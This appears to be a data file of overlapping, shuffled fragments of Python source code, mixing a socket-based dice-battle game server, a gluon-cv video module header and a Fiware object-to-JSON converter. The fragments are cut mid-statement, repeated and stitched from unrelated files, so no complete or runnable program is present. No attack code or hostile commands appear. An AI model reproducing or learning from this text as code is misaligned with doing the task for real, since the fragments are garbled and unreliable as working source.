"defender): \"\"\"Carry out a battle Returns ------- dict Dictionary with the result of",
"= board self.initialize_players() self.connect_clients() if nicknames_order is not None: self.adjust_player_order(nicknames_order) self.report_player_order() self.assign_areas_to_players(area_ownership) self.logger.debug(\"Board",
"Instance of Player that the client was assigned to \"\"\" self.client_sockets[i] = connection",
"{ 'areas': {} } for a in self.board.areas: area = self.board.areas[a] game_state['areas'][area.name] =",
"get_unassigned_player(self): \"\"\"Get a player with unassigned client \"\"\" for player in self.players: if",
"ValueError(\"Client send a wrong-type hello message '{}'\".format(hello_msg)) self.players[i].set_nickname(hello_msg['nickname']) self.logger.debug(\"Successfully assigned clients to all",
"\"\"\"Add client's socket to an instance of Player Parameters ---------- connection : socket",
"if p.get_number_of_areas() == self.board.get_number_of_areas(): save_game_configurations( winner_index=i, configurations=configurations, ) break break serialised_game = serialise_game_configuration(",
"{0}.\".format(e)) exit(1) def connect_clients(self): \"\"\"Connect all clients \"\"\" self.client_sockets = {} self.socket.listen(self.number_of_players) self.logger.debug(\"Waiting",
"for i in range(1, self.number_of_players + 1): self.connect_client(i) hello_msg = self.get_message(i) if hello_msg['type']",
"Player Instance of Player that the client was assigned to \"\"\" self.client_sockets[i] =",
"self.send_message(player, 'game_start') self.summary = GameSummary() def run(self): \"\"\"Main loop of the game \"\"\"",
"= 'game_state' msg['player'] = client.get_name() msg['no_players'] = self.number_of_players msg['current_player'] = self.current_player.get_name() elif type",
"name Returns ------- Player Instance of Player that the client was assigned to",
"port self.number_of_players = players self.nb_players_alive = players self.nb_consecutive_end_of_turns = 0 self.nb_battles = 0",
"player in order as a current player \"\"\" current_player_name = self.current_player.get_name() current_idx =",
"message from the client \"\"\" raw_message = self.client_sockets[player].recv(self.buffer) msg = json.loads(raw_message.decode()) self.logger.debug(\"Got message",
"player def assign_player_to_client(self, socket, client_address): \"\"\"Add client's socket to an unassigned player \"\"\"",
"# ################## def initialize_players(self): self.players = {} for i in range(1, self.number_of_players +",
"nicknames_order): \"\"\"Initialize game and connect clients Parameters ---------- players : int Number of",
"self.players = {} for i in range(1, self.number_of_players + 1): self.players[i] = Player(i)",
"pass ############## # GAME LOGIC # ############## def assign_area(self, area, player): \"\"\"Assign area",
"configurations=configurations, ) break break serialised_game = serialise_game_configuration( board=self.board, players=self.players, ) configurations.add(serialised_game) except KeyboardInterrupt:",
"self.client_sockets[i] = connection player = self.assign_player_to_client(connection, client_address) if not player: raise Exception(\"Could not",
"player \"\"\" game_state = { 'areas': {} } for a in self.board.areas: area",
"for i in range(0, def_dice): def_pwr += random.randint(1, 6) battle = { 'atk':",
"i): \"\"\"Add client's socket to an instance of Player Parameters ---------- connection :",
"[] player = self.current_player dice = player.get_reserve() + player.get_largest_region(self.board) if dice > 64:",
"in self.players: self.send_message(self.players[i], 'game_end', winner=player_name) ############## # NETWORKING # ############## def get_message(self, player):",
"(BrokenPipeError, JSONDecodeError) as e: self.logger.error(\"Connection to client failed: {0}\".format(e)) except ConnectionResetError: self.logger.error(\"ConnectionResetError\") try:",
"players \"\"\" self.buffer = 65535 self.logger = logging.getLogger('SERVER') self.address = addr self.port =",
"\"\"\" self.logger.debug(\"Closing server socket\") self.socket.close() ################## # INITIALIZATION # ################## def initialize_players(self): self.players",
"battle elif type == 'end_turn': msg = self.get_state() msg['type'] = 'end_turn' msg['areas'] =",
"if nicknames_order is not None: self.adjust_player_order(nicknames_order) self.report_player_order() self.assign_areas_to_players(area_ownership) self.logger.debug(\"Board initialized\") for player in",
"player \"\"\" player = self.get_unassigned_player() if player: player.assign_client(socket, client_address) return player else: return",
"area.get_owner_name(), 'dice': area.get_dice() } game_state['score'] = {} for p in self.players: player =",
"self.nb_battles += 1 atk_dice = attacker.get_dice() def_dice = defender.get_dice() atk_pwr = def_pwr =",
"def_name, 'pwr': def_pwr } return battle def end_turn(self): \"\"\"Handles end turn command Returns",
"Player's name Returns ------- Player Instance of Player that the client was assigned",
"\"\"\"Check win conditions Returns ------- bool True if a player has won, False",
"the game \"\"\" assert(len(ownership) == self.board.get_number_of_areas()) for area_name, player_name in ownership.items(): area =",
"affected_areas: list_of_areas[area.get_name()] = { 'owner': area.get_owner_name(), 'dice': area.get_dice() } return list_of_areas def set_first_player(self):",
"100k games class Game: \"\"\"Instance of the game \"\"\" def __init__(self, board, area_ownership,",
"area.add_die(): areas.remove(area) else: if area not in affected_areas: affected_areas.append(area) dice -= 1 player.set_reserve(dice)",
"self.connect_client(i) hello_msg = self.get_message(i) if hello_msg['type'] != 'client_desc': raise ValueError(\"Client send a wrong-type",
"if not player: raise Exception(\"Could not assign player to client {}\".format(client_address)) else: return",
"for clients to connect\") for i in range(1, self.number_of_players + 1): self.connect_client(i) hello_msg",
"at the start of the game \"\"\" assert(len(ownership) == self.board.get_number_of_areas()) for area_name, player_name",
"set() try: for i in range(1, self.number_of_players + 1): player = self.players[i] self.send_message(player,",
"msg['player'] = client.get_name() msg['no_players'] = self.number_of_players msg['current_player'] = self.current_player.get_name() msg['board'] = self.board.get_board() msg['order']",
"Player Recepient of the message type : str Type of message battle :",
"################## def initialize_players(self): self.players = {} for i in range(1, self.number_of_players + 1):",
": int Winner of the game areas : list of int Areas changed",
"if self.players[idx].get_number_of_areas() == 0: current_idx = (current_idx + 1) % self.number_of_players idx =",
"self.logger.info(\"Game interrupted.\") for i in range(1, self.number_of_players + 1): player = self.players[i] self.send_message(player,",
"return game_state def battle(self, attacker, defender): \"\"\"Carry out a battle Returns ------- dict",
"in self.players.values(): if p.get_number_of_areas() > 0: self.eliminate_player(p.get_name()) self.process_win(None, -1) return True for p",
"Returns ------- str Decoded message from the client \"\"\" raw_message = self.client_sockets[player].recv(self.buffer) msg",
"---------- client : Player Recepient of the message type : str Type of",
"self.current_player.get_name() msg['reserves'] = { i: self.players[i].get_reserve() for i in self.players } elif type",
"areas.append(area) while dice and areas: area = random.choice(areas) if not area.add_die(): areas.remove(area) else:",
"as well as score of each player \"\"\" game_state = { 'areas': {}",
"6) for i in range(0, def_dice): def_pwr += random.randint(1, 6) battle = {",
"of players addr : str IP address of the server port : int",
"player = self.assign_player_to_client(connection, client_address) if not player: raise Exception(\"Could not assign player to",
"= players self.nb_consecutive_end_of_turns = 0 self.nb_battles = 0 self.create_socket() self.board = board self.initialize_players()",
"msg = self.get_message(player) if msg['type'] == 'battle': self.nb_consecutive_end_of_turns = 0 battle = self.battle(self.board.get_area_by_name(msg['atk']),",
"turn \"\"\" self.logger.debug(\"Sending msg type '{}' to client {}\".format(type, client.get_name())) if type ==",
"= self.socket.accept() self.add_client(sock, client_address, i) def add_client(self, connection, client_address, i): \"\"\"Add client's socket",
"if self.players[def_name].get_number_of_areas() == 0: self.eliminate_player(def_name) attacker.set_dice(1) defender.set_dice(atk_dice - 1) battle['def'] = { 'name':",
"a in self.board.areas: area = self.board.areas[a] game_state['areas'][area.name] = { 'adjacent_areas': area.get_adjacent_areas_names(), 'owner': area.get_owner_name(),",
"= {old_name: nicknames_order.index(player.nickname)+1 for old_name, player in self.players.items()} self.players = {renumbering[old_name]: player for",
"Dictionary of affected areas including number of dice in these areas \"\"\" affected_areas",
"= self.end_turn() for p in self.players: self.send_message(self.players[p], 'end_turn', areas=affected_areas) def get_state(self): \"\"\"Get game",
"except IndexError: exit(1) return def eliminate_player(self, player): nickname = self.players[player].get_nickname() self.summary.add_elimination(nickname, self.summary.nb_battles) self.logger.info(\"Eliminated",
"save_game_configurations configurations = set() try: for i in range(1, self.number_of_players + 1): player",
"def get_message(self, player): \"\"\"Read message from client Parameters ---------- player : int Name",
"0 self.nb_battles = 0 self.create_socket() self.board = board self.initialize_players() self.connect_clients() if nicknames_order is",
"areas msg['current_player'] = self.current_player.get_name() msg['reserves'] = { i: self.players[i].get_reserve() for i in self.players",
"6) battle = { 'atk': { 'name': attacker.get_name(), 'dice': 1, 'owner': atk_name, 'pwr':",
"area_ownership, players, addr, port, nicknames_order): \"\"\"Initialize game and connect clients Parameters ---------- players",
"self.send_message(self.players[i], 'game_end', winner=player_name) ############## # NETWORKING # ############## def get_message(self, player): \"\"\"Read message",
"client_address) if not player: raise Exception(\"Could not assign player to client {}\".format(client_address)) else:",
"player \"\"\" for player in self.players: if self.players[player].get_name() == self.players_order[0]: self.current_player = self.players[player]",
"self.add_client(sock, client_address, i) def add_client(self, connection, client_address, i): \"\"\"Add client's socket to an",
"not player: raise Exception(\"Could not assign player to client {}\".format(client_address)) else: return player",
"self.summary.set_winner(player_nick) self.logger.info(\"Player {} ({}) wins!\".format(player_nick, player_name)) for i in self.players: self.send_message(self.players[i], 'game_end', winner=player_name)",
"False def get_unassigned_player(self): \"\"\"Get a player with unassigned client \"\"\" for player in",
"client \"\"\" for player in self.players: if not self.players[player].has_client(): return self.players[player] return False",
"to an unassigned player \"\"\" player = self.get_unassigned_player() if player: player.assign_client(socket, client_address) return",
"to connect\") for i in range(1, self.number_of_players + 1): self.connect_client(i) hello_msg = self.get_message(i)",
"int Name of the client Returns ------- str Decoded message from the client",
"battle=None, winner=None, areas=None): \"\"\"Send message to a client Parameters ---------- client : Player",
"self.summary.add_elimination(nickname, self.summary.nb_battles) self.logger.info(\"Eliminated player {} ({})\".format(player, nickname)) self.nb_players_alive -= 1 def check_win_condition(self): \"\"\"Check",
"self.logger.debug(\"Board initialized\") for player in self.players.values(): self.send_message(player, 'game_start') self.summary = GameSummary() def run(self):",
"a current player \"\"\" current_player_name = self.current_player.get_name() current_idx = self.players_order.index(current_player_name) idx = self.players_order[(current_idx",
"= (current_idx + 1) % self.number_of_players idx = self.players_order[(current_idx + 1) % self.number_of_players]",
"battle = self.battle(self.board.get_area_by_name(msg['atk']), self.board.get_area_by_name(msg['def'])) self.summary.add_battle() self.logger.debug(\"Battle result: {}\".format(battle)) for p in self.players: self.send_message(self.players[p],",
"clients to all players\") def connect_client(self, i): \"\"\"Assign client to an instance of",
"Size of socket buffer number_of_players : int Number of players \"\"\" self.buffer =",
"for i in range(1, self.number_of_players + 1): player = self.players[i] self.send_message(player, 'game_state') while",
"'pwr': def_pwr } return battle def end_turn(self): \"\"\"Handles end turn command Returns -------",
"{} self.socket.listen(self.number_of_players) self.logger.debug(\"Waiting for clients to connect\") for i in range(1, self.number_of_players +",
"p in self.players.values(): if p.get_number_of_areas() > 0: self.eliminate_player(p.get_name()) self.process_win(None, -1) return True for",
"for area in affected_areas: list_of_areas[area.get_name()] = { 'owner': area.get_owner_name(), 'dice': area.get_dice() } return",
"state Returns ------- dict Dictionary containing owner, dice and adjacent areas of each"
] |
[
"pylint: disable=wildcard-import \"\"\"Video related tasks. Custom data loader \"\"\" from __future__ import absolute_import",
"# pylint: disable=wildcard-import \"\"\"Video related tasks. Custom data loader \"\"\" from __future__ import",
"<reponame>Kentwhf/gluon-cv<gh_stars>10-100 # pylint: disable=wildcard-import \"\"\"Video related tasks. Custom data loader \"\"\" from __future__",
"tasks. Custom data loader \"\"\" from __future__ import absolute_import from .classification import *",
"disable=wildcard-import \"\"\"Video related tasks. Custom data loader \"\"\" from __future__ import absolute_import from",
"related tasks. Custom data loader \"\"\" from __future__ import absolute_import from .classification import",
"\"\"\"Video related tasks. Custom data loader \"\"\" from __future__ import absolute_import from .classification"
] |
[
"# # Licensed under the Apache License, Version 2.0 (the \"License\"); # you",
"writing, software # distributed under the License is distributed on an \"AS IS\"",
"value of %s is not JSON serializable' % ( type(Obj), repr(Obj))) @classmethod def",
"Adding This Sub-Project into the PythonPath sys.path.append(os.path.dirname(os.path.realpath(__file__))) from json_to_object.reverse_entity import ReverseEntity from object_to_json.entity",
"import Entity class ObjectFiwareConverter(object): \"\"\" This class should be primarily used to convert",
"KIND, either express or implied. # See the License for the specific language",
"ReverseEntity from object_to_json.entity import Entity class ObjectFiwareConverter(object): \"\"\" This class should be primarily",
"Unless required by applicable law or agreed to in writing, software # distributed",
"be primarily used to convert a Object <-> JSON-string. The classes in subdirectories",
"Object into JSON in the folder JsonToObject and vice versa \"\"\" import json",
"You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #",
"the License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR",
"# See the License for the specific language governing permissions and # limitations",
"import ReverseEntity from object_to_json.entity import Entity class ObjectFiwareConverter(object): \"\"\" This class should be",
"if hasattr(Obj, '__dict__'): return Obj.__dict__ else: raise TypeError('Object of type %s with value",
"License. # You may obtain a copy of the License at # #",
"ind) @classmethod def fiware2Obj(clsself, _fiwareEntity, _objectStructure={}, useMetaData=True, ignoreWrongDataType=False, setAttr=False, encoded=False): jsonObj= None if(type(_fiwareEntity)",
"This Sub-Project into the PythonPath sys.path.append(os.path.dirname(os.path.realpath(__file__))) from json_to_object.reverse_entity import ReverseEntity from object_to_json.entity import",
"see the Readme.md You can find the needed Files to convert from an",
"in the folder JsonToObject and vice versa \"\"\" import json import sys, os",
"dataTypeDict={}, ignorePythonMetaData=False, showIdValue=True, encode=False): en = Entity() en.setObject(_object, dataTypeDict, ignorePythonMetaData, showIdValue= showIdValue, encode=encode)",
"encode=encode) return clsself._json(en, ind) @classmethod def fiware2Obj(clsself, _fiwareEntity, _objectStructure={}, useMetaData=True, ignoreWrongDataType=False, setAttr=False, encoded=False):",
"serializable' % ( type(Obj), repr(Obj))) @classmethod def _json(clsself, obj, ind=0): return json.dumps(obj.__dict__, default=clsself._complex_handler,",
"None if(type(_fiwareEntity) is str): jsonObj = clsself._obj(_fiwareEntity) else: jsonObj = _fiwareEntity re =",
"<-> JSON-string. The classes in subdirectories are either used to convert them into",
"JSON or into a Python-specific-Object. \"\"\" @classmethod def obj2Fiware(clsself, _object, ind=0, dataTypeDict={}, ignorePythonMetaData=False,",
"find the needed Files to convert from an Object into JSON in the",
"jsonObj = _fiwareEntity re = ReverseEntity(**jsonObj) return re.setObject(_objectStructure, useMetaData, ignoreWrongDataType, setAttr, encoded=encoded) @classmethod",
"def _complex_handler(clsself, Obj): if hasattr(Obj, '__dict__'): return Obj.__dict__ else: raise TypeError('Object of type",
"law or agreed to in writing, software # distributed under the License is",
"the License for the specific language governing permissions and # limitations under the",
"limitations under the License. \"\"\" This Module converts Python-Objects into the Fiware-JSON-Format. For",
"ObjectFiwareConverter(object): \"\"\" This class should be primarily used to convert a Object <->",
"else: jsonObj = _fiwareEntity re = ReverseEntity(**jsonObj) return re.setObject(_objectStructure, useMetaData, ignoreWrongDataType, setAttr, encoded=encoded)",
"Information how to use this class, see the Readme.md You can find the",
"compliance with the License. # You may obtain a copy of the License",
"\"\"\" import json import sys, os # Adding This Sub-Project into the PythonPath",
"class should be primarily used to convert a Object <-> JSON-string. The classes",
"is str): jsonObj = clsself._obj(_fiwareEntity) else: jsonObj = _fiwareEntity re = ReverseEntity(**jsonObj) return",
"type %s with value of %s is not JSON serializable' % ( type(Obj),",
"jsonObj= None if(type(_fiwareEntity) is str): jsonObj = clsself._obj(_fiwareEntity) else: jsonObj = _fiwareEntity re",
"on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,",
"this file except in compliance with the License. # You may obtain a",
"primarily used to convert a Object <-> JSON-string. The classes in subdirectories are",
"governing permissions and # limitations under the License. \"\"\" This Module converts Python-Objects",
"the Apache License, Version 2.0 (the \"License\"); # you may not use this",
"repr(Obj))) @classmethod def _json(clsself, obj, ind=0): return json.dumps(obj.__dict__, default=clsself._complex_handler, indent=ind) @classmethod def _obj(clsself,",
"class ObjectFiwareConverter(object): \"\"\" This class should be primarily used to convert a Object",
"you may not use this file except in compliance with the License. #",
"a Python-specific-Object. \"\"\" @classmethod def obj2Fiware(clsself, _object, ind=0, dataTypeDict={}, ignorePythonMetaData=False, showIdValue=True, encode=False): en",
"this class, see the Readme.md You can find the needed Files to convert",
"used to convert them into JSON or into a Python-specific-Object. \"\"\" @classmethod def",
"Python-Objects into the Fiware-JSON-Format. For more Information how to use this class, see",
"is not JSON serializable' % ( type(Obj), repr(Obj))) @classmethod def _json(clsself, obj, ind=0):",
"of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable",
"to convert them into JSON or into a Python-specific-Object. \"\"\" @classmethod def obj2Fiware(clsself,",
"Obj.__dict__ else: raise TypeError('Object of type %s with value of %s is not",
"str): jsonObj = clsself._obj(_fiwareEntity) else: jsonObj = _fiwareEntity re = ReverseEntity(**jsonObj) return re.setObject(_objectStructure,",
"You can find the needed Files to convert from an Object into JSON",
"def obj2Fiware(clsself, _object, ind=0, dataTypeDict={}, ignorePythonMetaData=False, showIdValue=True, encode=False): en = Entity() en.setObject(_object, dataTypeDict,",
"showIdValue, encode=encode) return clsself._json(en, ind) @classmethod def fiware2Obj(clsself, _fiwareEntity, _objectStructure={}, useMetaData=True, ignoreWrongDataType=False, setAttr=False,",
"_objectStructure={}, useMetaData=True, ignoreWrongDataType=False, setAttr=False, encoded=False): jsonObj= None if(type(_fiwareEntity) is str): jsonObj = clsself._obj(_fiwareEntity)",
"<NAME> # # Licensed under the Apache License, Version 2.0 (the \"License\"); #",
"_object, ind=0, dataTypeDict={}, ignorePythonMetaData=False, showIdValue=True, encode=False): en = Entity() en.setObject(_object, dataTypeDict, ignorePythonMetaData, showIdValue=",
"ANY KIND, either express or implied. # See the License for the specific",
"# limitations under the License. \"\"\" This Module converts Python-Objects into the Fiware-JSON-Format.",
"them into JSON or into a Python-specific-Object. \"\"\" @classmethod def obj2Fiware(clsself, _object, ind=0,",
"= ReverseEntity(**jsonObj) return re.setObject(_objectStructure, useMetaData, ignoreWrongDataType, setAttr, encoded=encoded) @classmethod def _complex_handler(clsself, Obj): if",
"ind=0, dataTypeDict={}, ignorePythonMetaData=False, showIdValue=True, encode=False): en = Entity() en.setObject(_object, dataTypeDict, ignorePythonMetaData, showIdValue= showIdValue,",
"in compliance with the License. # You may obtain a copy of the",
"License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or",
"_json(clsself, obj, ind=0): return json.dumps(obj.__dict__, default=clsself._complex_handler, indent=ind) @classmethod def _obj(clsself, json_str): return json.loads(json_str)",
"dataTypeDict, ignorePythonMetaData, showIdValue= showIdValue, encode=encode) return clsself._json(en, ind) @classmethod def fiware2Obj(clsself, _fiwareEntity, _objectStructure={},",
"# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #",
"and vice versa \"\"\" import json import sys, os # Adding This Sub-Project",
"showIdValue= showIdValue, encode=encode) return clsself._json(en, ind) @classmethod def fiware2Obj(clsself, _fiwareEntity, _objectStructure={}, useMetaData=True, ignoreWrongDataType=False,",
"use this file except in compliance with the License. # You may obtain",
"Files to convert from an Object into JSON in the folder JsonToObject and",
"@classmethod def _json(clsself, obj, ind=0): return json.dumps(obj.__dict__, default=clsself._complex_handler, indent=ind) @classmethod def _obj(clsself, json_str):",
"at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed",
"for the specific language governing permissions and # limitations under the License. \"\"\"",
"not use this file except in compliance with the License. # You may",
"or into a Python-specific-Object. \"\"\" @classmethod def obj2Fiware(clsself, _object, ind=0, dataTypeDict={}, ignorePythonMetaData=False, showIdValue=True,",
"WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See",
"obj2Fiware(clsself, _object, ind=0, dataTypeDict={}, ignorePythonMetaData=False, showIdValue=True, encode=False): en = Entity() en.setObject(_object, dataTypeDict, ignorePythonMetaData,",
"clsself._obj(_fiwareEntity) else: jsonObj = _fiwareEntity re = ReverseEntity(**jsonObj) return re.setObject(_objectStructure, useMetaData, ignoreWrongDataType, setAttr,",
"return re.setObject(_objectStructure, useMetaData, ignoreWrongDataType, setAttr, encoded=encoded) @classmethod def _complex_handler(clsself, Obj): if hasattr(Obj, '__dict__'):",
"re = ReverseEntity(**jsonObj) return re.setObject(_objectStructure, useMetaData, ignoreWrongDataType, setAttr, encoded=encoded) @classmethod def _complex_handler(clsself, Obj):",
"setAttr, encoded=encoded) @classmethod def _complex_handler(clsself, Obj): if hasattr(Obj, '__dict__'): return Obj.__dict__ else: raise",
"See the License for the specific language governing permissions and # limitations under",
"jsonObj = clsself._obj(_fiwareEntity) else: jsonObj = _fiwareEntity re = ReverseEntity(**jsonObj) return re.setObject(_objectStructure, useMetaData,",
"into a Python-specific-Object. \"\"\" @classmethod def obj2Fiware(clsself, _object, ind=0, dataTypeDict={}, ignorePythonMetaData=False, showIdValue=True, encode=False):",
"useMetaData, ignoreWrongDataType, setAttr, encoded=encoded) @classmethod def _complex_handler(clsself, Obj): if hasattr(Obj, '__dict__'): return Obj.__dict__",
"BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.",
"used to convert a Object <-> JSON-string. The classes in subdirectories are either",
"use this class, see the Readme.md You can find the needed Files to",
"License, Version 2.0 (the \"License\"); # you may not use this file except",
"of %s is not JSON serializable' % ( type(Obj), repr(Obj))) @classmethod def _json(clsself,",
"# Licensed under the Apache License, Version 2.0 (the \"License\"); # you may",
"an Object into JSON in the folder JsonToObject and vice versa \"\"\" import",
"The classes in subdirectories are either used to convert them into JSON or",
"useMetaData=True, ignoreWrongDataType=False, setAttr=False, encoded=False): jsonObj= None if(type(_fiwareEntity) is str): jsonObj = clsself._obj(_fiwareEntity) else:",
"IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or",
"This class should be primarily used to convert a Object <-> JSON-string. The",
"not JSON serializable' % ( type(Obj), repr(Obj))) @classmethod def _json(clsself, obj, ind=0): return",
"a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required",
"are either used to convert them into JSON or into a Python-specific-Object. \"\"\"",
"distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY",
"in subdirectories are either used to convert them into JSON or into a",
"ignoreWrongDataType, setAttr, encoded=encoded) @classmethod def _complex_handler(clsself, Obj): if hasattr(Obj, '__dict__'): return Obj.__dict__ else:",
"# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in",
"Python-specific-Object. \"\"\" @classmethod def obj2Fiware(clsself, _object, ind=0, dataTypeDict={}, ignorePythonMetaData=False, showIdValue=True, encode=False): en =",
"en.setObject(_object, dataTypeDict, ignorePythonMetaData, showIdValue= showIdValue, encode=encode) return clsself._json(en, ind) @classmethod def fiware2Obj(clsself, _fiwareEntity,",
"PythonPath sys.path.append(os.path.dirname(os.path.realpath(__file__))) from json_to_object.reverse_entity import ReverseEntity from object_to_json.entity import Entity class ObjectFiwareConverter(object): \"\"\"",
"setAttr=False, encoded=False): jsonObj= None if(type(_fiwareEntity) is str): jsonObj = clsself._obj(_fiwareEntity) else: jsonObj =",
"class, see the Readme.md You can find the needed Files to convert from",
"@classmethod def obj2Fiware(clsself, _object, ind=0, dataTypeDict={}, ignorePythonMetaData=False, showIdValue=True, encode=False): en = Entity() en.setObject(_object,",
"OF ANY KIND, either express or implied. # See the License for the",
"convert them into JSON or into a Python-specific-Object. \"\"\" @classmethod def obj2Fiware(clsself, _object,",
"if(type(_fiwareEntity) is str): jsonObj = clsself._obj(_fiwareEntity) else: jsonObj = _fiwareEntity re = ReverseEntity(**jsonObj)",
"2.0 (the \"License\"); # you may not use this file except in compliance",
"sys, os # Adding This Sub-Project into the PythonPath sys.path.append(os.path.dirname(os.path.realpath(__file__))) from json_to_object.reverse_entity import",
"ignorePythonMetaData, showIdValue= showIdValue, encode=encode) return clsself._json(en, ind) @classmethod def fiware2Obj(clsself, _fiwareEntity, _objectStructure={}, useMetaData=True,",
"hasattr(Obj, '__dict__'): return Obj.__dict__ else: raise TypeError('Object of type %s with value of",
"# you may not use this file except in compliance with the License.",
"showIdValue=True, encode=False): en = Entity() en.setObject(_object, dataTypeDict, ignorePythonMetaData, showIdValue= showIdValue, encode=encode) return clsself._json(en,",
"either used to convert them into JSON or into a Python-specific-Object. \"\"\" @classmethod",
"the Readme.md You can find the needed Files to convert from an Object",
"en = Entity() en.setObject(_object, dataTypeDict, ignorePythonMetaData, showIdValue= showIdValue, encode=encode) return clsself._json(en, ind) @classmethod",
"def fiware2Obj(clsself, _fiwareEntity, _objectStructure={}, useMetaData=True, ignoreWrongDataType=False, setAttr=False, encoded=False): jsonObj= None if(type(_fiwareEntity) is str):",
"%s is not JSON serializable' % ( type(Obj), repr(Obj))) @classmethod def _json(clsself, obj,",
"agreed to in writing, software # distributed under the License is distributed on",
"from an Object into JSON in the folder JsonToObject and vice versa \"\"\"",
"return Obj.__dict__ else: raise TypeError('Object of type %s with value of %s is",
"def _json(clsself, obj, ind=0): return json.dumps(obj.__dict__, default=clsself._complex_handler, indent=ind) @classmethod def _obj(clsself, json_str): return",
"encode=False): en = Entity() en.setObject(_object, dataTypeDict, ignorePythonMetaData, showIdValue= showIdValue, encode=encode) return clsself._json(en, ind)",
"WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the",
"= Entity() en.setObject(_object, dataTypeDict, ignorePythonMetaData, showIdValue= showIdValue, encode=encode) return clsself._json(en, ind) @classmethod def",
"License. \"\"\" This Module converts Python-Objects into the Fiware-JSON-Format. For more Information how",
"(the \"License\"); # you may not use this file except in compliance with",
"needed Files to convert from an Object into JSON in the folder JsonToObject",
"= clsself._obj(_fiwareEntity) else: jsonObj = _fiwareEntity re = ReverseEntity(**jsonObj) return re.setObject(_objectStructure, useMetaData, ignoreWrongDataType,",
"type(Obj), repr(Obj))) @classmethod def _json(clsself, obj, ind=0): return json.dumps(obj.__dict__, default=clsself._complex_handler, indent=ind) @classmethod def",
"into the PythonPath sys.path.append(os.path.dirname(os.path.realpath(__file__))) from json_to_object.reverse_entity import ReverseEntity from object_to_json.entity import Entity class",
"# # Unless required by applicable law or agreed to in writing, software",
"express or implied. # See the License for the specific language governing permissions",
"Fiware-JSON-Format. For more Information how to use this class, see the Readme.md You",
"Version 2.0 (the \"License\"); # you may not use this file except in",
"# Unless required by applicable law or agreed to in writing, software #",
"Obj): if hasattr(Obj, '__dict__'): return Obj.__dict__ else: raise TypeError('Object of type %s with",
"except in compliance with the License. # You may obtain a copy of",
"clsself._json(en, ind) @classmethod def fiware2Obj(clsself, _fiwareEntity, _objectStructure={}, useMetaData=True, ignoreWrongDataType=False, setAttr=False, encoded=False): jsonObj= None",
"This Module converts Python-Objects into the Fiware-JSON-Format. For more Information how to use",
"by applicable law or agreed to in writing, software # distributed under the",
"the PythonPath sys.path.append(os.path.dirname(os.path.realpath(__file__))) from json_to_object.reverse_entity import ReverseEntity from object_to_json.entity import Entity class ObjectFiwareConverter(object):",
"ReverseEntity(**jsonObj) return re.setObject(_objectStructure, useMetaData, ignoreWrongDataType, setAttr, encoded=encoded) @classmethod def _complex_handler(clsself, Obj): if hasattr(Obj,",
"from object_to_json.entity import Entity class ObjectFiwareConverter(object): \"\"\" This class should be primarily used",
"Entity class ObjectFiwareConverter(object): \"\"\" This class should be primarily used to convert a",
"copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by",
"# Adding This Sub-Project into the PythonPath sys.path.append(os.path.dirname(os.path.realpath(__file__))) from json_to_object.reverse_entity import ReverseEntity from",
"permissions and # limitations under the License. \"\"\" This Module converts Python-Objects into",
"either express or implied. # See the License for the specific language governing",
"a Object <-> JSON-string. The classes in subdirectories are either used to convert",
"re.setObject(_objectStructure, useMetaData, ignoreWrongDataType, setAttr, encoded=encoded) @classmethod def _complex_handler(clsself, Obj): if hasattr(Obj, '__dict__'): return",
"software # distributed under the License is distributed on an \"AS IS\" BASIS,",
"os # Adding This Sub-Project into the PythonPath sys.path.append(os.path.dirname(os.path.realpath(__file__))) from json_to_object.reverse_entity import ReverseEntity",
"JSON-string. The classes in subdirectories are either used to convert them into JSON",
"Entity() en.setObject(_object, dataTypeDict, ignorePythonMetaData, showIdValue= showIdValue, encode=encode) return clsself._json(en, ind) @classmethod def fiware2Obj(clsself,",
"object_to_json.entity import Entity class ObjectFiwareConverter(object): \"\"\" This class should be primarily used to",
"# You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0",
"may not use this file except in compliance with the License. # You",
"License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS",
"language governing permissions and # limitations under the License. \"\"\" This Module converts",
"more Information how to use this class, see the Readme.md You can find",
"the needed Files to convert from an Object into JSON in the folder",
"# Copyright 2018 <NAME> # # Licensed under the Apache License, Version 2.0",
"specific language governing permissions and # limitations under the License. \"\"\" This Module",
"Licensed under the Apache License, Version 2.0 (the \"License\"); # you may not",
"an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either",
"# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to",
"_complex_handler(clsself, Obj): if hasattr(Obj, '__dict__'): return Obj.__dict__ else: raise TypeError('Object of type %s",
"converts Python-Objects into the Fiware-JSON-Format. For more Information how to use this class,",
"_fiwareEntity, _objectStructure={}, useMetaData=True, ignoreWrongDataType=False, setAttr=False, encoded=False): jsonObj= None if(type(_fiwareEntity) is str): jsonObj =",
"Sub-Project into the PythonPath sys.path.append(os.path.dirname(os.path.realpath(__file__))) from json_to_object.reverse_entity import ReverseEntity from object_to_json.entity import Entity",
"sys.path.append(os.path.dirname(os.path.realpath(__file__))) from json_to_object.reverse_entity import ReverseEntity from object_to_json.entity import Entity class ObjectFiwareConverter(object): \"\"\" This",
"to convert a Object <-> JSON-string. The classes in subdirectories are either used",
"file except in compliance with the License. # You may obtain a copy",
"TypeError('Object of type %s with value of %s is not JSON serializable' %",
"For more Information how to use this class, see the Readme.md You can",
"JsonToObject and vice versa \"\"\" import json import sys, os # Adding This",
"can find the needed Files to convert from an Object into JSON in",
